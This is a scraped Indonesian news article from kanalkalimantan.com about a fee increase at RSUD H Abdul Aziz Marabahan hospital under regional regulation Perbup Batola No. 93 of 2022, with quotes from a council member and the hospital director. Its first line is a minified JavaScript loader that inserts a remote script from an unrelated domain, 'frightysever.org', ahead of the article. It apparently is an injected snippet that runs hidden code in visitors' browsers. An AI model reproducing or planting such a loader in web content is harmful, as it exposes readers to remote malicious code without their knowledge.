(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM,MARABAHAN – Tarif RSUD H Abdul Aziz Marabahan, Barito Kuala (Batola), resmi naik. Terdapat sederet alasan yang membuat tarif lama tak lagi bisa dipertahankan.
Menanggapi kenaikan tarif di RSUD di Marabahan ini, Komisi II DPRD Batola berharap adanya keseimbangan pelayanan kesehatan prima dari semua petugas untuk masyarakat yang datang ker rumah sakit.
“Kami meminta kenaikan tarif juga diimbangi dengan pelayanan terbaik, serta lebih arif dan bijaksana menyikapi keluhan masyarakat,” papar Nanang Kaderi, Ketua Komisi II DPRD Batola.
Kenaikan tarif ini ditetapkan melalui Perbup Batola Nomor 93 Tahun 2022. Sekaligus menggantikan Perbup Batola Nomor 29 Tahun 2012.
Baca juga: Kelapa Bakar, Minuman Alternatif Buka Puasa Kaya Khasiat
“Akhirnya setelah sekitar 10 tahun, kami memperbaharui tarif. Inflasi telah membuat tarif lama tidak lagi realistis,” papar Direktur RSUD H Abdul Aziz Marabahan, dr Aan Widhi Anningrum.
“Kenaikan yang dikenakan bervariasi, tak mematok semua pelayanan dengan persentase tertentu. Sebelumnya tarif telah dibandingkan dengan rumah sakit terdekat, serta tak melebihi pagu tarif provinsi,” sambungnya, Jumat (17/03/23).
Di antara sekian pelayanan yang tersedia, tarif medical check up dikalkulasi paling tinggi dibandingkan pelayanan dasar lain. Baik pemeriksaan sederhana, pemeriksaan lengkap, pemeriksaan standar dan pemeriksaan khusus Pegawai Negeri Sipil (PNS).
“Sedianya kenaikan yang diberlakukan tidak terlalu signifikan. Namun karena baru 10 tahun naik, akhirnya terlihat mencolok. Seperti jasa pelayanan dokter umum. Awalnya sebesar Rp12.500 sejak 2012, lalu naik menjadi Rp 25 ribu. Artinya kenaikan ini masih dalam tahap wajar,” Jelasnya.
Kenaikan itu juga dinilai sebanding dengan sejumlah pelayanan baru. Di antaranya kehadiran dokter spesialis jiwa, ditambah spesialis orthopedi dan traumatologi. Itu melengkapi tenaga spesialis lain yang lebih dulu tersedia. Mulai dari penyakit dalam, kandungan, anak, kulit dan kelamin, syaraf, bedah, gigi dan mulut, paru, THT, dan mata, serta Unit Transfusi Darah Rumah Sakit (UTDRS). (kanalkalimantan.com/rdy)
Reporter : Rdy
Editor : KK
KANALKALIMANTAN.COM, BANJARMASIN - Dinas Perpustakaan dan Kearsipan Provinsi Kalimantan Selatan (Kalsel) menggelar acara sosialisasi budaya… Read More
KANALKALIMANTAN.COM, AMUNTAI - Sekretaris Daerah (Sekda) Hulu Sungai Utara (HSU) Adi Lesmana menyebut capaian target… Read More
KANALKALIMANTAN.COM- Ibadah haji merupakan salah satu impian bagi umat Islam di seluruh dunia. Agar ibadah… Read More
KANALKALIMANTAN.COM, BANJARBARU - Badan Pengawas Pemilihan Umum (Bawaslu) Kota Banjarbaru tengah merekrut Panitia Pengawas Kecamatan… Read More
KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Kota (Pemko) Banjarbaru Provinsi Kalimantan Selatan (Kalsel) membentuk Tim Desk Pilkada… Read More
KANALKALIMANTAN.COM, AMUNTAI - Komisi Pemilihan Umum (KPU) Kabupaten Hulu Sungai Utara (HSU) resmi melantik 50… Read More
This website uses cookies.